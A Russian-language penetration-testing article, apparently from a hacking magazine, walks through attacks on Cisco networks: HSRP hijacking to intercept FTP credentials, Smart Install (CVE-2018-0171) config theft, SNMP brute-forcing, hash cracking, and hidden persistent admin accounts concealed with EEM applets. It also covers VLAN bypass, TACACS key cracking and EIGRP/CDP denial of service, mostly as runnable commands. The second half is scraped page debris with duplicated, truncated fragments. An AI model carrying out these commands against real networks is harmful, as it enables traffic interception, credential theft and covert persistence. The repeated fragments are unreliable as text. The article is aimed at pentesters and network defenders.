Не забываем перед проведением атаки переключиться в неразборчивый режим и раз-

решить маршрутизацию трафика:
Выбираем маршрутизатор с адресом 10.10.100.100 и приоритетом 200. В качестве параметра

Secret вводим взломанный пароль от домена HSRP, генерируем Gratuitous ARP и выбираем
опцию Get IP.
Строение вредоносной HSRP-инъекции

Строение вредоносной HSRP-инъекции
Как мы видим, теперь Active-роутером является наша атакующая система. Значение приори-
тета — 255.
После выполнения инъекции необходимо создать вторичный IP-адрес на нашем сетевом
интерфейсе со значением виртуального IP-адреса в HSRP-домене. Также нужно указать 24-
битную маску. Таким образом, легитимный трафик будет заворачиваться на нас, поскольку
применяемый виртуальный IP-адрес в домене HSRP — это адрес шлюза по умолчанию
для хостов.
necreas1ng@Inguz:~$ sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
Настраиваем известный нам Source NAT (masquerading) для перехвата всего трафика:
necreas1ng@Inguz:~$ sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
Удаляем маршрут по умолчанию на нашей машине и прописываем новый, который будет
ходить через бывший Active-маршрутизатор (его адрес 10.10.100.100). Даже несмотря
на то, что мы отжали активную роль у маршрутизатора, он все равно сможет выполнить мар-
шрутизацию трафика.
necreas1ng@Inguz:~$ sudo route del default
necreas1ng@Inguz:~$ sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
Теперь мы «человек посередине». Запускаем net-creds.py:
necreas1ng@Inguz:~$ sudo python2 net-creds-master/net-creds.py -i eth0
После запуска утилиты я воспроизведу попытку пройти аутентификацию на сервере FTP
по адресу 172.16.100.140.
user@Boundless:~$ ftp 172.16.100.140
Перехваченные креды от FTP-сервера

Перехваченные креды от FTP-сервера
В итоге получаем креды от сервера FTP: insomnia:betrayal.
Вот так можно атаковать домен HSRP и перехватывать трафик. В принципе, все похоже
на GLBP.
ЭКСПЛУАТАЦИЯ CISCO SMART INSTALL

Cisco Smart Install — это Cisco, призванный автоматизировать процесс первоначальной кон-
фигурации и загрузки образа операционной системы для нового оборудования Cisco.
По умолчанию Cisco Smart Install активен на оборудовании Cisco и использует протокол
транспортного уровня — TCP с номером порта 4786.
В 2017 году в этом протоколе нашли критическую уязвимость CVE-2018-0171. Уровень опас-

ности — 9,8 балла по шкале CVSS.
Специально собранный пакет, который отправляется на порт TCP/4786, где активен Cisco
Smart Install, триггерит переполнение буфера, вследствие чего злоумышленник сможет:
• принудительно перезагрузить устройство;

• вызвать RCE;
• похитить конфигурации сетевого оборудования.
Для эксплуатации этой уязвимости был разработан инструмент SIET (Smart Install
Exploitation Tool), он позволяет абьюзить Cisco Smart Install. В этой статье я покажу, как мож-
но считать легитимный файл конфигурации сетевого оборудования. Эксфильтрация кон-
фигов может быть ценна для пентестера, поскольку он узнает об уникальных особенностях
сети. А это облегчит жизнь и позволит найти новые векторы для атаки.
В качестве целевого устройства выступит «живой» коммутатор Cisco Catalyst 2960. На вир-
туальных образах нет Cisco Smart Install, поэтому попрактиковаться удастся только на нас-
тоящем железе.
Адрес целевого коммутатора — 10.10.100.10, CSI активен. Загружаем SIET и начинаем ата-
ку. Аргумент -g означает эксфильтрацию конфигурации с устройства, аргумент -i позволяет
задать IP-адрес уязвимой цели.
necreas1ng@Inguz:~/opt/tools/SIET$ sudo python2 siet.py -g -i 10.10.100.10
Успешная эксплуатация уязвимости

Успешная эксплуатация уязвимости
Конфиг коммутатора 10.10.100.10 будет находиться в папке tftp/.
Часть содержимого конфигурации коммутатора

Часть содержимого конфигурации коммутатора
ЭКСФИЛЬТРАЦИЯ КОНФИГУРАЦИИ И ПЕРЕЧИСЛЕНИЕ ЧЕРЕЗ SNMP

SNMP (Simple Network Management Protocol) — протокол, который позволяет отслеживать
состояние устройств в компьютерной сети. Это может быть сетевое оборудование, IP-
телефоны, корпоративные серверы или что‑то еще.
SNMP использует протокол транспортного уровня UDP с номерами портов 161/UDP

и 162/UDP. Для обращения агентов SNMP к серверу используются так называемые
community strings. Это, скажем так, специальные пароли для взаимодействия с SNMP-сер-
вером. У community strings есть права либо RO (read-only, только чтение), либо RW (read-
write — и чтение, и запись).
На самом деле SNMP может не только отслеживать состояние оборудования, но и полноцен-
но им управлять: дампить конфиги, изменять конфигурацию и так далее. Если пентестер
сможет перебрать значение community strings, он фактически получает доступ к оборудо-
ванию. Впрочем, все зависит от того, какую строку он сбрутит — на RO или на RW.
WWW
Работу протокола SNMP я описал в общих чертах, рекомендую
тебе изучить следующие материалы, чтобы было понятнее,
как работает SNMP под капотом.
Simple Network Management Protocol (Wikipedia)
Network Basics: What Is SNMP and How Does It Work?
Брутфорс community-строк можно реализовать с помощью утилиты onesixtyone. В качестве

входных данных она будет принимать словарь для брутфорса и IP-адреса целевых хостов.
В качестве целей выступят:
• 10.10.100.10 — коммутатор Cisco vIOS;

• 10.10.100.254 — маршрутизатор Cisco vIOS.
necreas1ng@Inguz:~/snmp$ onesixtyone -c communitystrings -i targets
Выяснены значения community strings

Выяснены значения community strings
Мы выясняли, какие community strings используются на тех устройствах. Это открывает нам

дорогу для эксплуатации.
cisco_config_tftp
С помощью фреймворка Metasploit, а именно модуля cisco_config_tftp можно выдернуть
конфигурацию устройства, зная значение community string. Строка, имеющая права на RW, —
private.
Нам понадобится следующее:
• значение строки, имеющей права на RW (COMMUNITY);

• IP-адрес атакующей системы (LHOST);
• IP-адрес целевого оборудования (RHOSTS);
• путь, по которому модуль выведет конфигурацию устройства (OUTPUTDIR).
msf6 auxiliary(scanner/snmp/cisco_config_tftp) > set COMMUNITY private
msf6 auxiliary(scanner/snmp/cisco_config_tftp) > set RHOSTS 10.10.100.10
msf6 auxiliary(scanner/snmp/cisco_config_tftp) > set LHOST 10.10.100.50
msf6 auxiliary(scanner/snmp/cisco_config_tftp) > set OUTPUTDIR /home/necreas1ng/s
msf6 auxiliary(scanner/snmp/cisco_config_tftp) > exploit
После запуска модуля в указанную папку будет выкачана конфигурация хоста с адресом 10.
10.100.10 (10.10.100.10.txt).
Часть содержимого конфигурации оборудования SW1

Часть содержимого конфигурации оборудования SW1
snmp_enum
С помощью этого модуля можно узнать информацию о целевом оборудовании. Все абсолют-
но то же самое: указываем COMMUNITY (кстати, подойдет даже строка с правами RO) и IP-
адрес целевого устройства.
msf6 auxiliary(scanner/snmp/snmp_enum) > set COMMUNITY public
msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.10.100.10
msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
Информация об устройстве, полученная через SNMP

Информация об устройстве, полученная через SNMP
ПОСТЭКСПЛУАТАЦИЯ ВЗЛОМАННОГО УСТРОЙСТВА

Bruteforce hashes
Когда ты перечисляешь конфигурацию устройства, есть смысл попытаться сбрутить хеши
паролей. Вдруг тебе удастся сбрутить хеш пароля той учетной записи, которая имеет мак-
симальные привилегии. В Cisco IOS есть несколько типов паролей, которые хранятся
в зашифрованном виде. Табличка ниже сориентирует тебя по типам хешей, как брутить
и сколько времени понадобится.
Таблица хешей в Cisco IOS

Таблица хешей в Cisco IOS
Теперь приступаем к самому брутфорсу. В выводе команды show run ты наверняка нат-
кнешься на эти строчки.
Учетные записи и их пароли в зашифрованном виде

Учетные записи и их пароли в зашифрованном виде
Брутфорс хешей я проведу через утилиту John the Ripper. Немного отформатирую хеши, что-
бы «Джон» смог распознать сами хеши внутри файла, который мы будем подавать в качес-
тве входных данных.
Хеши перед форматированием

Хеши перед форматированием
Хеши после форматирования

Хеши после форматирования
Начинаем брутфорс. С помощью ключа --wordlist указываем путь до словаря. «Джон» сам
определит тип хешей внутри файла.
Взломанные пароли пользователей lies и anxious

Взломанные пароли пользователей lies и anxious
Полученные креды: anxious:Secret123 , lies:P@ssw0rd.
Попробуем зайти на маршрутизатор 10.10.10.100 от имени пользователя lies.
Вход в панель управления маршрутизатором от имени lies

Вход в панель управления маршрутизатором от имени lies
Cisco EEM
Cisco EEM — это, скажем так, «язык программирования», с помощью которого можно писать
сценарии для Cisco IOS и автоматизировать рутинные задачи. В рамках пентеста Cisco EEM
поможет нам спрятать созданного нами пользователя на взломанном устройстве.
Но! У такого метода есть и свои недостатки:
• есть небольшая вероятность спалиться в логах сервера SYSLOG или SNMP;

• если сетевой инженер тоже использует Cisco EEM, он может заподозрить что‑то
неладное.
Сначала нам нужно создать самого пользователя, который будет применяться для закрепле-
ния на оборудовании. Следи, чтобы у ника тоже был префикс hidden_. С помощью этого пре-
фикса мы и будем прятать созданного нами пользователя по маске | hidden:
Owned(config)# username hidden_grimoire privilege 15 secret youcantseewhatyouwann
Прячемся от вывода команды show run

Эту команду очень часто применяют сетевые инженеры, она выводит конфигурацию устрой-
ства, которая используется в данный момент.
Owned(config)# event manager applet hide_from_showrun

Owned(config-applet)# event cli pattern "show run" sync yes
Owned(config-applet)# action 0.0 cli command "enable"
Owned(config-applet)# action 1.0 cli command "show run | exclude hidden | event |
Owned(config-applet)# action 2.0 puts "$_cli_result_showrunapplet"
Прячемся от вывода команды show ssh

А эта команда выводит активных в данный момент пользователей, подключенных через
SSH.
Owned(config)# event manager applet hide_from_showssh

Owned(config-applet)# event cli pattern "show ssh" sync yes
Owned(config-applet)# action 1.0 cli command "show ssh | exclude hidden"
Owned(config-applet)# action 2.0 puts "$_cli_result_showsshapplet"
Прячемся от вывода команды show users

Выводит активных в данный момент пользователей, подключенных через VTY. Обычно
это удаленные сессии Telnet и SSH.
Owned(config)# event manager applet hide_from_showusers

Owned(config-applet)# event cli pattern "show users" sync yes
Owned(config-applet)# action 1.0 cli command "show users | exclude hidden"
Owned(config-applet)# action 2.0 puts "$_cli_result_showusersapplet"
Прячемся от вывода команды show log (локальное логирование Cisco IOS)

Owned(config)# event manager applet hide_from_showlog
Owned(config-applet)# event cli pattern "show log" sync yes
Owned(config-applet)# action 1.0 cli command "show log | exclude HA_EM | hidden"
Owned(config-applet)# action 2.0 puts "$_cli_result_showlogapplet"
У апплетов EEM много интересных функций, советую не ограничиваться этими способами.
Только не доведи бедного сетевика до инфаркта с этими апплетами!
Lateral VLAN Segmentation Bypass

Если ты получил доступ к коммутатору, к которому ты подключен напрямую, у тебя появ-
ляется возможность обхода VLAN-сегментации внутри сети. Достаточно переключить порт
в режим магистрального канала (иначе называемый транком), создать виртуальные
интерфейсы с идентификаторами целевых VLAN-сетей и настроить IP-адрес. Можно поп-
робовать запросить адрес динамически (DHCP), а можно настроить статически. Смотря
какой случай.
Сначала нужно выяснить, к какому именно порту ты подключен. Это делается через CDP-
сообщения, либо можешь поискать порт по маске include.
CDP-объявление от коммутатора. Мы на порте GigabitEthernet 0/2

CDP-объявление от коммутатора. Мы на порте GigabitEthernet 0/2
Если вдруг CDP отключен, можно попробовать поискать порт по нашему MAC-адресу.
SW1(config)# show mac address-table | include 0050.0000.0500
Найден порт Gi0/2 по MAC-адресу

Найден порт Gi0/2 по MAC-адресу
Перед тем как переключиться в режим транка, необходимо перечислить существующие сети

VLAN, выяснить их идентификаторы. Потом эти идентификаторы мы будем вешать на свой
интерфейс, чтобы получать доступ к сетям VLAN. Таким образом, благодаря транку мы
можем получить доступ в любую сеть VLAN. Кстати говоря, порт, к которому мы подклю-
чены, принадлежит сети VLAN 10.
SW1# show vlan brief
Информация о текущих сетях VLAN
Приступим. Входим в режим конфигурации интерфейса и переходим в транковый режим.
SW1(config)# interface GigabitEthernet 0/2

SW1(config-if)# switchport trunk encapsulation dot1q
SW1(config-if)# switchport mode trunk
Во время переключения в режим магистрального канала теряется связность. Но скоро я

это исправлю.
Потеря связности в момент переключения режима порта

Потеря связности в момент переключения режима порта
Создаем виртуальные интерфейсы и «вешаем» на них VLAN ID, а затем поднимаем их.
Теперь нужно запросить адрес по DHCP. Но если в твоем случае не будет такой возможнос-
ти, можно настроить адрес статически.
Полученные по DHCP адреса

Полученные по DHCP адреса
Пример настройки статического IP-адреса на интерфейсе (VLAN 10):
necreas1ng@Inguz:~$ sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
Для проверки связи инициирую ICMP-запросы до шлюзов по умолчанию для сетей VLAN 10,
20, 50, 60.
Связность до шлюзов
Связность до шлюзов
В итоге я обошел VLAN-сегментацию и могу пробиться в любую VLAN-сеть, что развязывает

мне руки для следующих шагов.
Configuration Enumeration
Классическое перечисление конфигурации
С помощью команды show run можно выяснить, какая конфигурация исполняется в данный
момент. Это раскрывает некоторые особенности инфраструктуры. Возможно, эта информа-
ция приведет тебя к более легкой «победе» во время пентеста. Например, вдруг ты обна-
ружишь использование AAA-сервера, что дает еще один вектор атаки.
Owned# show run
Перечисление конфигурации, часть 1


Cisco IOS ver. enumeration

Будет полезно узнать версию Cisco IOS на устройстве. С помощью этой информации пен-
тестер сможет перебрать версию Cisco IOS и, узнав ее, эксплуатировать уязвимости. Вдруг
он попал на роутер с учеткой read-only, а потенциальное наличие уязвимости даст ему LPE?
Кто знает...
Owned# show version
Версия Cisco vIOS

Версия Cisco vIOS
CCAT
CCAT (Cisco Config Analysis Tool) — это специальный инструмент, созданный для анализа
файлов конфигурации оборудования Cisco на предмет брешей в безопасности. Она поможет
автоматизировать процесс поиска мисконфигураций безопасности и будет полезна как пен-
тестерам, так и сетевым администраторам.
necreas1ng@Inguz:~/ccat$ python3 ccat.py showrunfromsw1.txt
CCAT анализирует файл конфигурации

CCAT анализирует файл конфигурации
ВЫВОДЫ
Вот какие кошмары могут возникнуть в сетях, где используется оборудование Cisco, если их
администрируют недальновидные сетевые инженеры. На это исследование я потратил пол-
тора месяца и был удивлен, сколько векторов существует при атаке на Cisco-based-сети.
Очень надеюсь, что мое исследование подарит пентестерам новые векторы атак, а сетевые
администраторы задумаются о защищенности своих сетей и примут меры.
Оцени статью:





in9uz
Security Engineer
 t.me/in6uz
Теги: Cisco FHRP Взлом Выбор редактора Маршрутизаторы пентест сети Статьи
 Подписаться  Вы вошли как in9uz | Выйти
Поделитесь своим мнением
{} [+]
0 КОММЕНТАРИЕВ   

Cisco Nightmare

Загружено:

Сведения о документе

Оригинальное название

Авторское право

Доступные форматы

Поделиться этим документом

Поделиться или встроить документ

Параметры публикации

Этот документ был вам полезен?

Это неприемлемый материал?

Авторское право:

Доступные форматы

Cisco Nightmare

Загружено:

Авторское право:

Доступные форматы

ВЗЛОМ ХАРДКОР

Cisco Nightmare. Большой гайд по

ПЕРЕХВАТ И ДЕШИФРОВКА КЛЮЧА TACACS+

«Плю­совая» вер­сия отли­чает­ся повышен­ным уров­нем безопас­ности и интегри­рован­ным

Ес­ли зло­умыш­ленник суме­ет встать посере­дине меж­ду кли­ентом и сер­вером TACACS, он

• В качес­тве аген­та TACACS выс­тупит ком­мутатор SW1 с IP-адре­сом 10.10.100.10.

ARP-спу­финг я реали­зую через ути­литу Ettercap. Для начала необ­ходимо перек­лючить

necreas1ng@Inguz:~$ sudo ifconfig eth0 promisc

necreas1ng@Inguz:~$ sudo sysctl -w net.ipv4.ip_forward=1

necreas1ng@Inguz:~$ sudo ettercap -G

В качес­тве прос­лушива­юще­го интерфей­са выс­тупит eth0. Запус­тим ска­ниро­вание хос­тов.

Target 1 будет хост с IP-адре­сом 10.10.100.10, а Target 2 — 10.10.100.70.

Про­водим ARP-спу­финг про­тив двух целей.

necreas1ng@Inguz:~$ sudo loki_gtk.py

Вы­бира­ем интерфейс для ата­ки.

Loki. Выбор интерфей­са

Нас­трой­ка пути до сло­варя

Ло­ки обна­ружил соеди­нение TACACS

Те­перь нажима­ем на кноп­ку CRACK и ждем, пока Loki ломанет пароль.

Ло­ки взло­мал ключ TACACS. Пароль: secret1234

Скар­мли­ваем «Аку­ле» ключ

Ви­дим, какой бан­нер исполь­зовал­ся.

Об­наружи­ваем логин поль­зовате­ля admin.

Ус­пешная аутен­тифика­ция на обо­рудо­вании SW1

АТАКИ НА ПРОТОКОЛ CDP

DoS-атака CDP Flooding

На этот раз мы вос­поль­зуем­ся Yersinia:

necreas1ng@Inguz:~$ sudo yersinia -G

Инс­тру­мент обна­ружил ком­мутатор SW1

Пе­рег­ружен­ный цен­траль­ный про­цес­сор ком­мутато­ра

Пе­репол­няющаяся таб­лица CDP-соседей

ЗЛОУПОТРЕБЛЕНИЕ ДИНАМИЧЕСКИМ ТРАНКИНГОМ

necreas1ng@Inguz:~$ sudo python3 DTPHijacking.py --interface eth0

Про­ана­лизи­ровав STP-кад­ры, мы узна­ем о сущес­тво­вании сетей VLAN 30 и 60.

С дан­ной информа­цией и наличи­ем транк‑пор­та мы можем получить дос­туп к этим сетям

necreas1ng@Inguz:~$ sudo vconfig add eth0 30

necreas1ng@Inguz:~$ sudo vconfig add eth0 60

necreas1ng@Inguz:~$ sudo ifconfig eth0.30 up

necreas1ng@Inguz:~$ sudo ifconfig eth0.60 up

necreas1ng@Inguz:~$ sudo dhclient -v eth0.30

necreas1ng@Inguz:~$ sudo dhclient -v eth0.60

По­лучен­ные адре­са по DHCP для вир­туаль­ных интерфей­сов

Ус­пешные ICMP-зап­росы в сто­рону шлю­зов сетей VLAN 30 и 60

Та­ким обра­зом, мож­но обой­ти VLAN-сег­мента­цию и получить дос­туп к VLAN-сетям.

СЕТЕВОЙ ПАРАЛИЧ ПРИ АТАКЕ НА VTP

Какие бывают роли в VTP-домене

Ба­за дан­ных VLAN перед ата­кой

Ба­за дан­ных VLAN пос­ле ата­ки

Хост из сети VLAN 60 утра­тил связ­ность до шлю­за.

АТАКИ НА ПРОТОКОЛ EIGRP

В пер­вую оче­редь для ата­ки на авто­ном­ную сис­тему EIGRP необ­ходимо уста­новить соседс-­

Как уста­нав­лива­ется соседс­тво меж­ду EIGRP-мар­шру­тиза­тора­ми

Для это­го я вос­поль­зуюсь FRRouting. Это опен­сор­сное ПО, которое пред­назна­чено для соз-­

Но для это­го все­го нуж­но раз­вернуть FRRouting. Прис­тупим.

Не­обхо­димо отре­дак­тировать кон­фигура­цион­ный файл daemons. В нем про­писа­ны кон-­

root@Inguz:~# nano /etc/frr/daemons

Ак­тивация демона eigrpd

root@Inguz:~# nano /etc/frr/vtysh.conf

С кон­фигура­цией FRRouting закон­чили. Теперь самое вре­мя запус­тить демон FRR. И не

necreas1ng@Inguz:~$ sudo sysctl -w net.ipv4.ip_forward=1

necreas1ng@Inguz:~$ systemctl start frr

Сос­тояние демона FRRouting

Подключение к домену маршрутизации EIGRP

«Плюсовая» версия отличается повышенным уровнем безопасности и интегрированным

Если злоумышленник сумеет встать посередине между клиентом и сервером TACACS, он

• В качестве агента TACACS выступит коммутатор SW1 с IP-адресом 10.10.100.10.

ARP-спуфинг я реализую через утилиту Ettercap. Для начала необходимо переключить

В качестве прослушивающего интерфейса выступит eth0. Запустим сканирование хостов.

Target 1 будет хост с IP-адресом 10.10.100.10, а Target 2 — 10.10.100.70.

Проводим ARP-спуфинг против двух целей.

Выбираем интерфейс для атаки.

Loki. Выбор интерфейса

Настройка пути до словаря

Локи обнаружил соединение TACACS

Теперь нажимаем на кнопку CRACK и ждем, пока Loki ломанет пароль.

Локи взломал ключ TACACS. Пароль: secret1234

Скармливаем «Акуле» ключ

Видим, какой баннер использовался.

Обнаруживаем логин пользователя admin.

Успешная аутентификация на оборудовании SW1

На этот раз мы воспользуемся Yersinia:

Инструмент обнаружил коммутатор SW1

Перегруженный центральный процессор коммутатора

Переполняющаяся таблица CDP-соседей

Проанализировав STP-кадры, мы узнаем о существовании сетей VLAN 30 и 60.

С данной информацией и наличием транк‑порта мы можем получить доступ к этим сетям

Полученные адреса по DHCP для виртуальных интерфейсов

Успешные ICMP-запросы в сторону шлюзов сетей VLAN 30 и 60

Таким образом, можно обойти VLAN-сегментацию и получить доступ к VLAN-сетям.

База данных VLAN перед атакой

База данных VLAN после атаки

Хост из сети VLAN 60 утратил связность до шлюза.

В первую очередь для атаки на автономную систему EIGRP необходимо установить соседс-

Как устанавливается соседство между EIGRP-маршрутизаторами

Для этого я воспользуюсь FRRouting. Это опенсорсное ПО, которое предназначено для соз-

Но для этого всего нужно развернуть FRRouting. Приступим.

Необходимо отредактировать конфигурационный файл daemons. В нем прописаны кон-

Активация демона eigrpd

С конфигурацией FRRouting закончили. Теперь самое время запустить демон FRR. И не

Состояние демона FRRouting

Панель управления FRR

Дамп трафика EIGRP

Как мы видим, номер автономной системы EIGRP — 1. Аутентификация отсутствует. С этой

Переходим в режим глобальной конфигурации и запускаем процесс EIGRP, указываем номер

После этого устанавливается соседство между легитимными EIGRP-маршрутизаторами.

• маршрутизатор GW1 по адресу 10.10.100.100;

Установление соседства с маршрутизатором GW1

Установление соседства с маршрутизатором GW2

Во время установления и поддержания соседства между EIGRP-маршрутизаторами роутеры

Таблица маршрутизации атакующей системы после подключения к домену EIGRP

Таким образом, после установления соседства мы узнали о существовании этих подсетей,

• интерфейс атакующей системы;

Перегрузка центрального процессора во время флудинга

Как видно из скриншота выше, нагрузка на центральный процессор возросла до 98%.

• интерфейс атакующей системы;

Строение вредоносной инъекции маршрута

Попытки легитимного хоста пингануть целевой сервер

Отравленный роут в таблице маршрутизации GW1

Для работы скрипта необходимо указать:

• интерфейс атакующей системы;

От имени указанного IP и будет отправлен инжект на мультикастовый IP-адрес EIGRP,

Маршрутизатор GW1 бесконечно разрывает и восстанавливает связь

Таким образом можно провести DoS-атаку. Во время эксплуатации возникают бесконечные

• интерфейс атакующей системы;

Таблица маршрутизации начинает переполняться маршрутами. Рандомные адреса целевых

Переполняющаяся таблица маршрутизации на роутере GW1

Центральный процессор маршрутизатора нагружен до 96%.

Перегруженный CPU маршрутизатора

• round-robin (по умолчанию GLBP использует именно этот вариант);

AVF (Active Virtual Forwarder) — маршрутизатор в группе GLBP, занимающийся обработкой

GLBP Priority — значение приоритета, определяющее, какой маршрутизатор в группе GLBP

GLBP Virtual IP Address — виртуальный IP-адрес в домене GLBP. Используется в качестве

Для трансляции и обработки служебной информации GLBP использует зарезервированный

Как будет ходить трафик до проведения атаки

Как будет ходить трафик после проведения атаки

• виртуальный IP-адрес, использующийся в GLBP-домене;

Эту информацию мы сможем извлечь с помощью анализа трафика GLBP. Воспользуемся

Как видим, в процессе GLBP задействованы только два маршрутизатора:

GLBP-объявления от двух маршрутизаторов

Информация о конфигурации GLBP второго маршрутизатора

После анализа GLBP-трафика мы имеем следующее:

• обнаружена мисконфигурация в рамках настройки приоритетов. AVG-роутером счи-

Обладая этой инфой, мы можем без труда атаковать GLBP. Расчехляем Loki.